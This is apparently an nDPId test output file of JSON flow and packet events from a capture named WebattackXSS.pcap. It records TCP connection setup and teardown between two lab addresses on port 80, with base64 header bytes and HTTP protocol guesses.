+00432{"flow_id":71,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1051,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347090,"pkt_ts_usec":637945,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0lGZAAEAGL3LAqAoyrBAAAQBQ0Mrcl6URIMf5iYARAOP7SAAAAQEICgPjMXUBOV\/+"} +00433{"flow_id":71,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1052,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347090,"pkt_ts_usec":638459,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XcZAAD4GaBKsEAABwKgKMtDKAFAgx\/mJ3JelEoAQAOX7RgAAAQEICgE5X\/4D4zF1"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1056,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1499347091102,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53516,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":74,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1056,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347091,"pkt_ts_usec":102802,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8uhVAAD4GC7usEAABwKgKMtEMAFDkONpnAAAAAKACchBtWwAAAgQFtAQCCAoBOWByAAAAAAEDAwc="} +00443{"flow_id":74,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1057,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347091,"pkt_ts_usec":102913,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0QySpl9e5DjaaKAScSBGaQAAAgQFtAQCCAoD4zHpATlgcgEDAwc="} +00431{"flow_id":74,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1058,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347091,"pkt_ts_usec":103528,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0uhZAAD4GC8KsEAABwKgKMtEMAFDkONpokqZfX4AQAOXlcAAAAQEICgE5YHID4zHp"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1065,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1499347092374,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53530,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":75,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1065,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347092,"pkt_ts_usec":374921,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8rL1AAD4GGROsEAABwKgKMtEaAFBpN80NAAAAAKACchD0agAAAgQFtAQCCAoBOWGwAAAAAAEDAwc="} +00443{"flow_id":75,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1066,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347092,"pkt_ts_usec":375048,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0RpaHI+7aTfNDqAScSDUZwAAAgQFtAQCCAoD4zMnATlhsAEDAwc="} +00431{"flow_id":75,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1067,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347092,"pkt_ts_usec":375721,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rL5AAD4GGRqsEAABwKgKMtEaAFBpN80OWhyPvIAQAOVzbwAAAQEICgE5YbAD4zMn"} +00433{"flow_id":72,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1071,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347092,"pkt_ts_usec":638032,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0beNAAD4GV\/WsEAABwKgKMtDkAFAnsDFS5XEaGYARAOU\/9AAAAQEICgE5YfID4y4n"} +00431{"flow_id":72,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1072,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347092,"pkt_ts_usec":638228,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0KXBAAEAGmmjAqAoyrBAAAQBQ0OTlcRoZJ7AxU4ARAOM6swAAAQEICgPjM2kBOWHy"} +00432{"flow_id":72,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1073,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347092,"pkt_ts_usec":638992,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0beRAAD4GV\/SsEAABwKgKMtDkAFAnsDFT5XEaGoAQAOU6sQAAAQEICgE5YfID4zNp"} +00431{"flow_id":73,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1077,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347093,"pkt_ts_usec":637721,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA092NAAD4GznSsEAABwKgKMtDyAFAECKqVXWxpZYARAOUgxgAAAQEICgE5YuwD4y9r"} +00431{"flow_id":73,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1078,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347093,"pkt_ts_usec":637977,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0XQZAAEAGZtLAqAoyrBAAAQBQ0PJdbGllBAiqloARAOMbzwAAAQEICgPjNGMBOWLs"} +00431{"flow_id":73,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1079,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347093,"pkt_ts_usec":638529,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA092RAAD4GznOsEAABwKgKMtDyAFAECKqWXWxpZoAQAOUbzQAAAQEICgE5YuwD4zRj"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1080,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1499347093662,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53544,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":76,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1080,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347093,"pkt_ts_usec":662309,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Ku9AAD4GmuGsEAABwKgKMtEoAFAtsEgdAAAAAKACchCzkgAAAgQFtAQCCAoBOWLyAAAAAAEDAwc="} +00443{"flow_id":76,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1081,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347093,"pkt_ts_usec":662407,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0Shd8PQZLbBIHqAScSAqGwAAAgQFtAQCCAoD4zRpATli8gEDAwc="} +00431{"flow_id":76,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1082,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347093,"pkt_ts_usec":663190,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0KvBAAD4GmuisEAABwKgKMtEoAFAtsEgeXfD0GoAQAOXJIgAAAQEICgE5YvID4zRp"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1095,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1499347096201,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53570,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":77,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1095,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347096,"pkt_ts_usec":201937,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ZsxAAD4GXwSsEAABwKgKMtFCAFCngwOhAAAAAKACchB7pgAAAgQFtAQCCAoBOWVtAAAAAAEDAwc="} +00443{"flow_id":77,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1096,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347096,"pkt_ts_usec":202117,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0UJnxk6+p4MDoqAScSCLOQAAAgQFtAQCCAoD4zbkATllbQEDAwc="} +00431{"flow_id":77,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1097,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347096,"pkt_ts_usec":202644,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Zs1AAD4GXwusEAABwKgKMtFCAFCngwOiZ8ZOv4AQAOUqQQAAAQEICgE5ZW0D4zbk"} +00431{"flow_id":74,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1101,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347096,"pkt_ts_usec":638456,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0uhdAAD4GC8GsEAABwKgKMtEMAFDkONpokqZfX4ARAOXgBwAAAQEICgE5ZdoD4zHp"} +00431{"flow_id":74,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1102,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347096,"pkt_ts_usec":638675,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0aA5AAEAGW8rAqAoyrBAAAQBQ0QySpl9f5DjaaYARAOPaoAAAAQEICgPjN1EBOWXa"} +00431{"flow_id":74,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1103,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347096,"pkt_ts_usec":639218,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0uhhAAD4GC8CsEAABwKgKMtEMAFDkONppkqZfYIAQAOXangAAAQEICgE5ZdoD4zdR"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1107,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1499347097460,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53584,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":78,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1107,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347097,"pkt_ts_usec":460010,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA83YdAAD4G6EisEAABwKgKMtFQAFAbC7sgAAAAAKACchBPVwAAAgQFtAQCCAoBOWanAAAAAAEDAwc="} +00443{"flow_id":78,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1108,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347097,"pkt_ts_usec":460137,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0VBz69jzGwu7IaAScSDHVQAAAgQFtAQCCAoD4zgeATlmpwEDAwc="} +00431{"flow_id":78,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1109,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347097,"pkt_ts_usec":460694,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03YhAAD4G6E+sEAABwKgKMtFQAFAbC7shc+vY9IAQAOVmXAAAAQEICgE5ZqgD4zge"} +00431{"flow_id":75,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1113,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347097,"pkt_ts_usec":639087,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rL9AAD4GGRmsEAABwKgKMtEaAFBpN80OWhyPvIARAOVuSgAAAQEICgE5ZtQD4zMn"} +00432{"flow_id":75,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1114,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347097,"pkt_ts_usec":639278,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0t\/dAAEAGC+HAqAoyrBAAAQBQ0RpaHI+8aTfND4ARAONpJwAAAQEICgPjOEsBOWbU"} +00431{"flow_id":75,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1115,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347097,"pkt_ts_usec":640030,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rMBAAD4GGRisEAABwKgKMtEaAFBpN80PWhyPvYAQAOVpJQAAAQEICgE5ZtQD4zhL"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1119,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1499347098746,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53598,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":79,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1119,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347098,"pkt_ts_usec":746605,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8gixAAD4GQ6SsEAABwKgKMtFeAFA\/7+XFAAAAAKACchD+fQAAAgQFtAQCCAoBOWfpAAAAAAEDAwc="} +00444{"flow_id":79,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1120,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347098,"pkt_ts_usec":746757,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0V6c5l18P+\/lxqAScSDHtgAAAgQFtAQCCAoD4zlgATln6QEDAwc="} +00432{"flow_id":79,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1121,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347098,"pkt_ts_usec":747496,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gi1AAD4GQ6usEAABwKgKMtFeAFA\/7+XGnOZdfYAQAOVmvgAAAQEICgE5Z+kD4zlg"} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1125,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":6,"flow_first_seen":1499347024196,"flow_last_seen":1499347029616,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52816,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1125,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":6,"flow_first_seen":1499347024196,"flow_last_seen":1499347029616,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52816,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1125,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":6,"flow_first_seen":1499347025509,"flow_last_seen":1499347030616,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52830,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1125,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":6,"flow_first_seen":1499347025509,"flow_last_seen":1499347030616,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52830,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1125,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":6,"flow_first_seen":1499347028086,"flow_last_seen":1499347033617,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52856,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1125,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":6,"flow_first_seen":1499347028086,"flow_last_seen":1499347033617,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52856,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1125,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":6,"flow_first_seen":1499347029372,"flow_last_seen":1499347034616,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52870,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1125,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":6,"flow_first_seen":1499347029372,"flow_last_seen":1499347034616,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52870,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1125,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":6,"flow_first_seen":1499347030639,"flow_last_seen":1499347036617,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52884,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1125,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":6,"flow_first_seen":1499347030639,"flow_last_seen":1499347036617,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52884,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1125,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":6,"flow_first_seen":1499347034467,"flow_last_seen":1499347039618,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52924,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1125,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":6,"flow_first_seen":1499347034467,"flow_last_seen":1499347039618,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52924,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1125,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":315,"flow_first_seen":1499346976603,"flow_last_seen":1499347036773,"flow_tot_l4_data_len":241656,"flow_min_l4_data_len":32,"flow_max_l4_data_len":4376,"flow_avg_l4_data_len":767,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52298,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 